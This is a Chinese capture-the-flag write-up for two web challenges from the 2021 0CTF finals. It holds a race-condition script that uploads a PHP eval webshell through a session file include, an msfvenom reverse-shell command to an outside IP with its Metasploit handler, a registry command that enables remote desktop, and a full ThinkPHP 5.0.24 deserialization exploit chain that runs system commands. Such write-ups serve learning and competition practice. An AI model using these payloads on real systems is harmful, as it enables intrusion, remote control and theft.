2021 0CTF FINAL wp
2021-09-29 20:58:45 Author: wiki.ioin.in(查看原文) 阅读量:103 收藏

这周末是TCTF/0CTF决赛,而恰好周六是巅峰极客决赛,这几天还被拉去打教育hw,打完巅峰极客基本是双开的状态,打完感觉人也快废掉了。只看了两个Web(其他题基本也没啥做出来的可能),整理了下题解。

win-win

windows+php8 环境,一行php。

第一天放了hint,session.upload_progress=off,看起来不能用session上传。

卡了很久,读不到什么有用的信息。这篇文章:https://blog.csdn.net/bylfsj/article/details/102771173提到windows下可以利用通配符进行包含。猜测题目由phpstudy、xampp等搭建,最后包含xampp的 apache_start.bat文件成功:?win=..\..\t<\apache_start.bat

读取php.ini文件:?win=..\..\t<\php\phpi.ini,发现了路径:C:\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\

根据xampp默认配置,临时文件路径:C:\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\tmp\。尝试session上传+包含,成功(远程环境可能配错了)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool


HOST = 'http://c39294ecfe15141c45c17c301e267eba.winwin.pwnable.org/?win=..\..\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\\tmp\sess_abc'
sess_name = 'abc'

headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}

payload = '@<?php echo "gmmml";system("dir c:\\\\");file_put_contents("gml.php",base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyJnbWwiXSk7IGVjaG8gMTs/Pg=="));?>'

def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
if "gmmml" in r.content:
print r.content
fp.close()


pool = ThreadPool(32)
result = pool.map_async( runner1, range(100000) ).get(0xffff)

getshell后,找不到flag。

本地生成msf马:

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=202.112.51.236 lport=5555 -f exe -o shell.exe

服务器监听:

1
2
3
4
5
Use exploit/multi/handler
Set payload windows/meterpreter/reverse_tcp
Set lhost 0.0.0.0
Set lport 5555
Run

getsystem提权,利用mimikatz抓密码,空的。screenshot没有权限。打开3389端口:

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

修改administrator密码:

Untitled2

端口转发,3389连接,flag在桌面txt上没有保存:

Untitled3

RevengePHP

题目考查thinkphp5.0.24反序列化,把网上现有的链子给堵了:

thinkphp/library/think/console/Output.php

image-20210928211446948

并且现有的链子是向web目录写shell,很显然这个题目还限制了web目录不可写。事实证明双保险是正确的,因为__wakeup并没有影响这条反序列化链。

因为之前一直没有分析过tp的反序列化链子,正好借着这个题从零学习了一波。这个题从第二天晚上11点开始看,审计到早上5点,实在是困得不行了,还要赶12点的飞机,直接睡了。赛后交流发现这个题解法不止一种(果然,日穿一个东西最简单的方法就是把他放到一场CTF里),整理了一条直接RCE链子。

前面提到出题人添加了__wakeup方法来防止反序列化,其实__wakeup方法可以绕过,这个CTF中都被考烂了。但有趣的是,即使不进行绕过,事实上抛出异常也并不能阻止反序列化链子的向下执行。我把抛出异常替换成die也是一样的结果。

为了探究原因,开启调试,在__wakeup处下断点,成功断下来:

image-20210928215907004

可以发现在执行到 __wakeup 的时候,所有的对象已经被成功反序列化(红框里所示)。此时我们点击运行下一步:

image-20210928220049890

看到这里恍然大悟:抛出异常后程序会进入终止的逻辑,此时自然会进行对象销毁操作,而因为对象已经被成功反序列化,所以根本不会影响反序列化链的执行。

回到这个题目,虽然链子可以执行,但是web目录已经设置为不可写,所以同样需要另找链。

第一条RCE的链子同样是利用了thinkphp/library/think/console/Output.php中Output类的block方法,可以达到直接执行命令的效果,下面跟一下这条链。关于之前网上公开的thinkphp5.0.24的利用链,这里不过多赘述,不清楚的可以参考这篇文章学习一下。

在执行到thinkphp/library/think/session/driver/Memcached.php的write方法后,已有写shell的链子是利用了/thinkphp/library/think/cache/driver/File.php的set方法,这里我们利用thinkphp/library/think/cache/driver/Memcache.php 的set方法:

image-20210928221340093

跟进 has 方法,这里的 name 变量是我们可控的变量和<getAttr>xxx<getAttr>拼接的结果。

image-20210928221511371

getCachekey方法返回的 key可控,之后会调用 this->handler->get 方法,这里我们直接利用thinkphp/library/think/Request.php的get方法。如果对 thinkphp5 rce 漏洞有分析过的人可能会很熟悉,因为就是利用这个 Request 类进行 rce 的。后面反序列化 rce 的思路基本一样。

调用 this->input 方法:

image-20210928221834604

进到input方法,调用 filterValue 方法。(filter变量由getFilter方法返回得到,可控。data变量也是由前面input类的 this->get 获得后进行一些操作,也可控)

image-20210928221932807

进到 filterValue 方法,执行 call_user_func:

image-20210928222208656

完成 RCE。整个调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Request.php:1094, think\Request->filterValue()
Request.php:1040, think\Request->input()
Request.php:706, think\Request->get()
Memcache.php:66, think\cache\driver\Memcache->has()
Memcache.php:98, think\cache\driver\Memcache->set()
Memcached.php:102, think\session\driver\Memcached->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array:{/Users/gml/Desktop/安全/CTF/2021/2021 0CTF final/Revenge-5.0.24/thinkphp/library/think/console/Output.php:212}()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\model\Pivot->toArray()
Model.php:936, think\model\Pivot->toJson()
Model.php:2267, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
<?php

namespace think\process\pipes {

class Windows
{

private $files = [];

public function __construct($files)
{

$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {

abstract class Model
{

protected $append = [];
protected $error = null;
public $parent;

function __construct($output, $modelRelation)
{

$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx" => "getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}

class Request
{
protected $get = ['gml' => 'whoami'];
protected $filter = ['system', 'a'];
}
}

namespace think\model {

use think\Model;

class Pivot extends Model
{

function __construct($output, $modelRelation)
{

parent::__construct($output, $modelRelation);
}
}
}

namespace think\model\relation {

class HasOne extends OneToOne
{


}


abstract class OneToOne
{

protected $selfRelation;
protected $bindAttr = [];
protected $query;

function __construct($query)
{

$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}

}

namespace think\db {

class Query
{

protected $model;

function __construct($model)
{

$this->model = $model; //$this->model=> think\console\Output;
}
}
}

namespace think\console {

use think\session\driver\Memcached;

class Output
{

private $handle;
protected $styles;

function __construct()
{

$this->styles = ['getAttr'];
$this->handle = new Memcached(); //$handle->think\session\driver\Memcached
}

}
}

namespace think\session\driver {

use think\cache\driver\Memcache;

class Memcached
{

protected $handler;
protected $config = [
'session_name' => '//',
'expire' => '1'
];

function __construct()
{

$this->handler = new Memcache();
}
}
}

namespace think\cache\driver {

use think\Request;

class Memcache
{
protected $handler;
protected $tag = 1;
protected $options = ['prefix' => 'gml/'];

function __construct()
{
$this->handler = new Request();
}
}

}

namespace {
$Output = new think\console\Output();
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output, $HasOne));
echo urlencode(serialize($window));
}

文章来源: https://wiki.ioin.in/url/MMRL
如有侵权请联系:admin#unsafe.sh